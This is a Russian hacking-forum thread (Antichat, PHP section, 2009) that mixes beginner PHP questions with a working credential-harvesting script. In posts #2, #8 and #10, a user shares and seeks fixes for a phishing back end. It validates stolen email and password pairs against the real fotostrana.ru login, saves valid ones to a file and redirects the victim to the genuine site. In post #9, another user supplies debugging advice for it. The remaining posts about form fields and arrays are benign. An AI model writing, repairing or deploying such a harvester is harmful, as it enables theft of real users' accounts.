HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 11.01.2009, 13:14
CrazyNight
Новичок
Регистрация: 06.01.2009
Сообщений: 13
С нами: 9128038

Репутация: 19
По умолчанию

Вариантов навалом.
Сессии, Cookies, БД, кэш, javascript

Если ты реализовал для текстовых полей, значит так же реализуй и для остальных input'ов, там схема абсолютно та же, в чём сложность?
 
Ответить с цитированием

  #2  
Старый 11.01.2009, 15:10
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами: 9223466

Репутация: 3171


По умолчанию

PHP код:

<?php

/**
 * @author m0hze
 * @copyright 2009
 */
$email $_POST['user_email'];
$password $_POST['user_password'];
if(
$email == '' && $password == ''){
header("Location : index.php");
} else {
    
$post 'user_email='.$email.'&user_password='.$password;
    
$cl curl_init('http://fotostrana.ru/user/login');
    
curl_setopt($clCURLOPT_RETURNTRANSFER1);
    
curl_setopt($clCURLOPT_USERAGENT'Opera/9.25 (Windows NT 5.1; U; ru)');
    
curl_setopt($clCURLOPT_REFERER'http://mail.ru/');
    
curl_setopt($clCURLOPT_HEADER1);
    
curl_setopt($clCURLOPT_POST1);
    
curl_setopt($clCURLOPT_POSTFIELDS$post);
    
$exec curl_exec($cl);
    
curl_close($cl);
    if(
stristr($exec'Неверный логин или пароль')){
       
$error file_get_contents('index.php');
        echo 
$error;
    }else{
    
$fo fopen('base.php','a');
    
fwrite($fo,"$email:$password\n");
    
fclose($fo);
    
header("Location: http://fotostrana.ru/user/login/?user_email=$email&user_password=$password");
    }
}
?>
Все принимает за гуд,хотя сам курл работает,не проходит только проверка на слово.Кто чем? А то у меня вынос мозга начался...
 
Ответить с цитированием

  #3  
Старый 11.01.2009, 15:14
Корвин
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
С нами: 10107625

Репутация: 67
По умолчанию

есть массив

[0] - 1
[1] - 2
[2] - 4

есть ли функция в php чтобы вставить в этот массив значение 3 так чтобы получилось

[0] - 1
[1] - 2
[2] - 3
[3] - 4 ?

пытаюсь реализовать сортировку вставкой на пхп, никак не получается без такой функции
 
Ответить с цитированием

  #4  
Старый 11.01.2009, 15:19
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

Цитата:
Сообщение от Корвин  
есть массив

[0] - 1
[1] - 2
[2] - 4

есть ли функция в php чтобы вставить в этот массив значение 3 так чтобы получилось

[0] - 1
[1] - 2
[2] - 3
[3] - 4 ?

пытаюсь реализовать сортировку вставкой на пхп, никак не получается без такой функции
array_push( )

Функция array_push( ) присоединяет (то есть дописывает в конец массива) один или несколько новых элементов. Синтаксис функции array_push( ):

int array_push(array массив, mixed элемент [, ...])

В общем вот тут почитай, очень подробно и с примерами:

http://i-vd.org.ru/books/php/arrays.shtml#f
 
Ответить с цитированием

  #5  
Старый 11.01.2009, 16:49
Корвин
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
С нами: 10107625

Репутация: 67
По умолчанию

Цитата:
Сообщение от Pashkela  
array_push( )

Функция array_push( ) присоединяет (то есть дописывает в конец массива) один или несколько новых элементов. Синтаксис функции array_push( ):

int array_push(array массив, mixed элемент [, ...])

В общем вот тут почитай, очень подробно и с примерами:

http://i-vd.org.ru/books/php/arrays.shtml#f

это совсем не то, есть лучше
array_pad ( array input, integer pad_size, mixed pad_value )
там в зависимости от pad_size вставляет в начало или в конец, но это тоже не то, мне нужно в середину вставить
 
Ответить с цитированием

  #6  
Старый 11.01.2009, 15:15
DMajere
Познающий
Регистрация: 25.12.2008
Сообщений: 34
С нами: 9145978

Репутация: 6
По умолчанию

смотрите. то что через сессии это понятно. для текстовых полей реализовано так.

<?
session_start();
$_SESSION['FName']=$_POST['FName'];
$_SESSION['LName']=$_POST['LName'];
?>
<html >
<body>
<form action="" method="post">
First Name: <input type="text" name="FName" value="<?php echo $_SESSION['FName']?>"/>
Last Name: <input type="text" name="LName" value="<?php echo $_SESSION['LName']?>"/>
<input type="submit" name="submit" value="Submit Data"/>
</form>
</body>
</html>

а как сделать для ?
<tr>
<td class="left"/>Пол:
<td class="right"/><input type="radio" name="con_q4" value="m"/>мужской<input type="radio" name="con_q4" value="f"/>женский
</tr>
 
Ответить с цитированием

  #7  
Старый 11.01.2009, 20:59
prescott
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
С нами: 9361826

Репутация: 115
По умолчанию

Цитата:
Сообщение от DMajere  
а как сделать для ?
<tr>
<td class="left"/>Пол:
<td class="right"/><input type="radio" name="con_q4" value="m"/>мужской<input type="radio" name="con_q4" value="f"/>женский
</tr>
Например так:
Код:
<input type="radio" name="con_q4" value="m" <?php if ($_SESSION['POL']=='m') echo "checked";?> />мужской
<input type="radio" name="con_q4" value="f" <?php if ($_SESSION['POL']=='f') echo "checked";?> />женский
Для селекта аналогично, только для выбранного option выставляешь selected

Последний раз редактировалось prescott; 11.01.2009 в 21:03..
 
Ответить с цитированием

  #8  
Старый 11.01.2009, 15:24
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами: 9223466

Репутация: 3171


По умолчанию

Мне чень не удобно,но посмотрите пожалуйста.Мне какбе срочно комрады.Чтото ошибку не найду,а проверка не проходит. Посто номер #7726
 
Ответить с цитированием

  #9  
Старый 11.01.2009, 15:32
oRb
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
С нами: 9477026

Репутация: 2362
По умолчанию

Цитата:
Сообщение от m0Hze  
Мне чень не удобно,но посмотрите пожалуйста.Мне какбе срочно комрады.Чтото ошибку не найду,а проверка не проходит. Посто номер #7726
Скрипт не тестил (особо времени нет), просто посмотрел, но что не понравилось.
PHP код:
$post 'user_email='.$email.'&user_password='.$password
urlencode() к параметрам применять надо.
Цитата:
if(stristr($exec, 'Неверный логин или пароль')){
Здесь могут быть подводные камни с кодировкой.
 
Ответить с цитированием

  #10  
Старый 11.01.2009, 15:41
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами: 9223466

Репутация: 3171


По умолчанию

Да я уже мозг сломал,что тут не правильно хз,вроде все норм написал,все работает как нужно на других сайтах,а на этотм - хер.Ухже весь извелся,мне человеку этот скрипт быстрее отдать и все =) просто не добно,он ждет а вы все его знаете кстате..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.